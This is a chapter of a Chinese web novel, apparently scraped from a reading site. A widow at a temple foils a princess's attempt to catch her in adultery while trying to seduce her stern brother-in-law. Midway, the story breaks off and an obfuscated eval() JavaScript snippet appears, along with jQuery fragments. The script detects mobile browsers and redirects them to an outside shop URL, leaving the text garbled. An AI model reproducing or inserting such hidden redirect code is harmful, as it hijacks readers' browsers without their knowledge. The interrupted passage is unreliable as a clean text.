默认冷灰
24号文字
方正启体

1. 私情

作者:团雾本书字数:K更新时间:
    “捉奸,撞开!”


    南安寺的禅房外,寿春县主的丫鬟气势汹汹指挥着两个僧侣往门上撞。


    吱呀作响的声响传进屋内,花照云啜了一口茶:“门上的漆画可不便宜,撞坏了算他们的。”


    “姑娘!”寻香气得要跺脚,“捉奸!他们吃了狗胆跑来捉奸!”


    “我知道啊。”花照云招呼寻香喝茶,“自古捉奸捉一双,你、和我?”


    寻香一噎。


    寡妇门前是非多。


    姑娘本就命苦,成婚半年守了寡,同日官差找上门,不由分说便将太太下了狱。


    那段时日姑娘甚至来不及伤心,四处奔走人瘦了一大圈,也没能将太太救出来。


    还是京城来了人,这才有转圜余地——


    那短命的姑爷竟是安陆侯府的二公子,虽在扬州私自成婚,如今人没了,安陆侯倒想起还有一位儿媳,这才将姑娘接入京中。


    寻香心中五味杂陈。


    侯府的门哪是好进的?姑娘这一入京,再想脱身就难了。


    本是瞧姑爷年轻俊朗性子又好,招回家做赘婿帮着打理家业的。


    若日后生下孩子,还能跟着姑娘姓,等到将来姑爷年老色衰,多纳几个年轻力壮的也不在话下。


    谁成想一转头,姑娘自个儿成了深宅大院里的寡妇!


    “那老虔婆不知叫您跪了多少次祠堂,眼下要真被他们闹大了,即便咱们清者自清,回去少不得又是一顿磋磨!”


    入京两个月以来受的委屈一瞬破堤而出,她忿忿道:“早知今日,奴婢做什么也要拦着您进京,大不了太太那边再找其他法子!”


    “他们这是要逼死您!今日奴婢拼死也要啃下他们一块肉来!”


    “莫哭莫哭。”


    花照云哭笑不得,放下茶盏给寻香擦眼泪。


    这时外头的动静停了。


    她歪头听了会,悄悄道:“倒也没那么清白。”


    “......啊?”


    寻香睁大了眼:“您当真偷了?!”


    倒是想。


    这事还得从她踏入京城的第一日说起。


    那日,她本打定主意好好替延郎守着,孝敬公婆,好在合适的时机提出母亲之事。


    公爹却突然屏退左右,只对她说了一句话:“生下裴御的孩子,保你母女安然无恙,荣华自在一生。”


    她当场僵住。


    整个人宛如被雷劈中天灵盖,脑瓜子嗡嗡作响。


    以至于在混沌中问了个极蠢的问题:“许是习俗不同,妾那边可不敢同大伯子睡觉生孩子?”


    裴御是谁?


    本朝最年轻的御史大夫,惊才绝艳的状元郎,自小深受帝王宠信,半只脚踏入佛门,素有"尘外郎"之称。


    为人更是刚正不阿清冷自持,眼中容不得半点沙子。


    更关键的是,他是夫君的嫡亲兄长!


    公爹看她的眼神一言难尽。


    后来花照云终于想起那眼神像什么,就像她偶尔撞见街头两只泥巴狗儿交欢一样。


    既惊奇,又粗鄙。


    还带点抛开浮华,直击要害的大道至简。


    可不是么。


    说到底都是睡觉那档子事。


    公爹耐着性子解释了许多。


    说什么给裴延留个后,说可怜她孤苦度日,又说将来是花氏的依仗,还说裴御其人百年难遇,有此机缘是她的福气。


    ......当真好服气。


    这鬼话她半分都不信,可她还是同意了。


    若这世上只剩一人能活着,她会毫不犹豫选择母亲,哪怕自己立刻就要死去。


    更何况,容她拒绝么?


    而延郎......


    花照云在心中默默叹口气。


    谁叫你爹的丧子之痛是叫你媳妇爬别人的床,要怪就怪你爹吧。


    待清明时,且替你多烧烧纸。


    阴曹地府那地界虽没待过,但总归比起不能吃不能喝的贞洁名声,还是纸钱管用些吧?


    说起贞洁,不禁又想到入京以来听到的关于裴御的种种,她比寻香还愁:“这不是还没得手嘛。”


    寻香傻了眼。


    顺着姑娘的目光看过去,角落里赫然放着一坛酒。


    是昨日带来祭奠姑爷的。


    临行前姑娘还特地嘱咐过几次,务必保管好这坛酒......酒?


    “这、这酒有问题!?”


    她猛奔过去抱住那坛酒嗅一口,又小心揭开盖子,尝了尝:“好的啊?”


    话未说完,花照云促狭的笑声便传来。


    “寻香,这可是皇寺,即便是天底下最蠢的蠢蛋,也不至于在这儿偷人罢?”


    寻香:“......”


    看着这样笑如春花般的姑娘,她忽然鼻头一酸,喃喃喊:“姑娘......”


    她的好姑娘,今年也不过十九,怎就要守寡一辈子!


    “其实您真想偷、偷......”


    她结结巴巴,到底说不出那两个字来:“我是说您真想吃点野味......奴婢愿意替您把风。”


    “......”


    花照云笑着摸了摸她红透的脸蛋:“倒也没那么饿。”


    “胡闹!”


    门外适时响起一声不高不低的呵斥。


    听到这清润男声,花照云收起笑意。


    “走罢,好戏开场了。”


    -


    “吱呀——”


    木门倏地打开,众人循声望去。


    就见一身素净薄衫的花照云迎风倚在败落的门框上,巴掌大的脸上泪痕点点,我见犹怜。


    人比黄花瘦,莫过于此。


    这时,众人才想起,这是一个才死了丈夫的小娘子,千里迢迢孤身上京,只为替亡夫守节。


    她的衣衫穿着身上空荡荡的,妆发齐整弱质纤纤,再端庄不过。


    撞门的僧侣顿觉手中的撬棍烫手,恨不得蒙住自己的脸!


    花照云微抬起眸,一眼看到那道清攫的身影。


    果然是裴御。


    他一身白衣长身玉立,青竹绣纹的腰带勾勒出挺拔的腰,出尘俊逸的脸上是一贯的冷淡神色。


    淡淡扫过她的一眼,像是在看一块木头。


    好吧。


    能被他瞧进眼里的人不多,木头就木头罢。


    只要他来了就好。


    花照云心头微松,眼波不觉含了笑。


    僧侣们顿觉眼前一亮。


    这哪是黄花,分明是一夜细雨后泣露的海棠。


    “二娘子半天不开门,敢不敢让我进去搜上一遍?!”


    瞧出僧人态度的变化,寿春县主愈发来气:“裴大人,我的人亲眼瞧见有人交给她一包药,说什么神仙来了也抵不住...您素来清正,不能包庇自家弟妹罢?”


    话音刚落,一声婉转低泣传来。


    紧接着,那隐抑的泣声越来越大,如怨如诉,直往人心头钻。


    僧人本就畏惧裴御,此刻见了花照云这委屈模样,竟纷纷做起和事佬。


    “......”


    屋内,寻香默默放下叉在腰间的手。


    “妾于睡梦中惊醒,恍惚间以为是贼匪来了......”


    花照云抹泪,垂下一截雪白的脖颈:“本是为延郎抄经才来这里,谁知碰上这天大的冤屈,妾身一人不打紧,却不敢辱没裴氏满门,更不敢连累大人清名。”


    裴御听着,神情不辨喜怒。


    他想起府内关于这位二娘子的传言。


    出身商户,生性怯懦,除却一张还算姣好的脸,并无出彩之处。


    她能在二弟死后孤身进京,执意守着牌位过一辈子,可见痴心。


    说她会对其他男子起心思,甚而下药勾引?


    不吝于说山林间的牛马开始吃肉了。


    他冷淡道:“若要搜查,需出具文牒。无凭无证口出秽言,是为诽谤,依律——”


    “县主要搜,搜便是了。”


    花照云打断他:“我本就是卑贱之人,做什么都不打紧。”


    她让开身后洞开的房门,望向裴御的眼中泪光盈盈:“大人的清名更重要。”


    裴御淡淡看她一眼,瞧不出情绪。


    寿春县主冷嗤一声,吩咐丫鬟进屋搜。


    她靠近花照云:“以退为进好叫裴大人帮你?只可惜裴大人连声大伯都不许你喊,又岂会将你放在眼里——”


    “我的确心怀不轨。”


    花照云摇摇头,声音小得只有她二人能听见:“可县主有句话说错了。”


    “之所以不喊大伯......”她微微侧过头,几乎要吻上寿春的耳畔,“只是我不愿意。”


    寿春县主呼吸一滞。


    “你、你承认了?!”


    “裴大人,她自己承认了!”


    这时,丫鬟一脸沮丧地出来,对着寿春摇了摇头。


    “不可能!”寿春豁然看向花照云,“你分明拿了那药,难不成已经得手,叫那狗男人跑了?”


    狗男人?


    花照云睨一眼站在她身前,满身清寒凌冽的大伯子。


    这位要真是狗男人,倒还好办些。


    公爹做事不着调,好在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245229|197870||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她早将那药粉毁了。


    “有裴大人这样的君子在,”她笑了下,“哪个不长眼的狗男人敢登堂入室?”


    县主肺都要气炸,却也回过味来。


    花照云耍了她一道。


    纵心有不甘,在裴御明显冷下来的目光中,也只得带人灰溜溜离开。


    花照云却道:“县主同延郎青梅竹马,今日误会一场,想来只是为延郎抱不平,妾送送县主。”


    不等寿春说什么,先一步抬手,搀住了她。


    一行人很快散尽。


    寻香正在收拾满地狼藉的屋子,裴御凝神看了片刻,道:“查。”


    “啊——!”


    一声惊呼,是院落外的莲池有人落水。


    他几步赶过去,见到花照云在水里扑腾,而寿春县主和她的丫鬟满脸惊怒站在岸边。


    形势一目了然。


    寿春猛然意识到什么:“不是我,不是我做的!”


    可花照云已经支撑不住,整个人越挣扎越往下沉,眨眼功夫连个头都瞧不见。


    寻香赶来,先是一惊,正要跳下去时脑中灵光一闪。


    像打开了某种机关,她催命般惊恐道:“快!求求裴大人快救二娘子!奴婢不会凫水!”


    裴御紧抿着唇。


    那双漆眸静静地审视着水面,没有一丝动容。


    见他无动于衷,寻香一屁股坐在地上哭嚎。


    伴着寿春的叫嚷声,将远处的僧侣都引来。


    终于,水面渐渐归于平静时,寒光一闪。


    裴御持剑砍向木阑干。


    阑干应声断裂。


    寻香惊愕一瞬,立刻将将断不断的另一端撞断。


    木头入水,她也扑通一声跳下去。


    ......


    主仆二人总算扒着横木爬上岸。


    花照云猛咳出几口水,虚弱道:“多、多谢大人救命之恩。”


    她被深秋的池水冻得瑟瑟发抖,两行清泪簌簌往下落:“县主、县主说我是自己跳下去的?”


    “难道不是?!”寿春怒不可遏,“推你下去我有什么好处!”


    “妾同延郎在扬州成婚时并不知您的心意......您说是便是吧。”


    花照云暗自咬了咬牙。


    知晓裴御是个难啃的骨头,她也没敢下药,却不知他铁石心肠至此。


    她早打听清楚了,他是会水的。


    可他还是冷眼看着,仿佛溺水的果真是一块木头。


    不,不对,木头又怎会溺水?


    她还不如一根木头。


    不是都说出家人慈悲为怀么。


    拖到最后一刻,也不怕她淹死。


    花照云心中郁郁,面上愈发凄苦。


    要救下母亲,道阻且长。


    “花照云,休要污蔑人!”


    寿春忍了许久,终于破口大骂:“裴延算个什么东西?本县主一点也不稀罕!他竟然能瞧上你这么个下贱的商户女!活该死在扬州!”


    花照云:“县主因爱生恨乃人之常情......”


    “两面三刀的无耻东西——”


    “住手。”


    一声清喝。


    花照云耳畔的风声倏地止住,寿春骤抬起的手被生生挡下。


    三步外,裴御那张素来淡然的脸上浮现愠色。


    “裴延是因公殉身。”


    裴御道:“若再有辱损之言,裴某身为言官,又是兄长,必要追究到底。”


    池边死寂。


    寿春再是胆大,面对裴御此言,也不敢再说什么。


    一阵风吹来,池边的木芙蓉花枝乱颤。


    花照云穿着湿衣,被这寒风一侵是真站不住了,她惨白着脸戚戚然往裴御身上倒去:“大人......”


    “送花氏回去。”


    裴御略让开半步,他身旁的侍卫应声拦住她:“二娘子,请。”


    花照云心底一沉——


    方才那一刻他看过来的眼神,能将人冻住。


    是她太过刻意?


    不,不对。


    寿春跋扈,又同裴延青梅竹马,欺辱她再正常不过,且她也是真站不稳。


    何况,今日连番受难,即便他不想同自己这个弟妹有牵扯,即便他再是冷性,也不该是这样的反应。


    正想着,眼前一暗。


    裴御近在咫尺,修长的身躯几乎将她整个人笼罩。


    他手中多出一个火红的披风,正是寿春今日穿着的。


    在寿春错愕的目光中,他将那件披风兜头丢了过来。


    “回去换身衣裳,来正殿。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)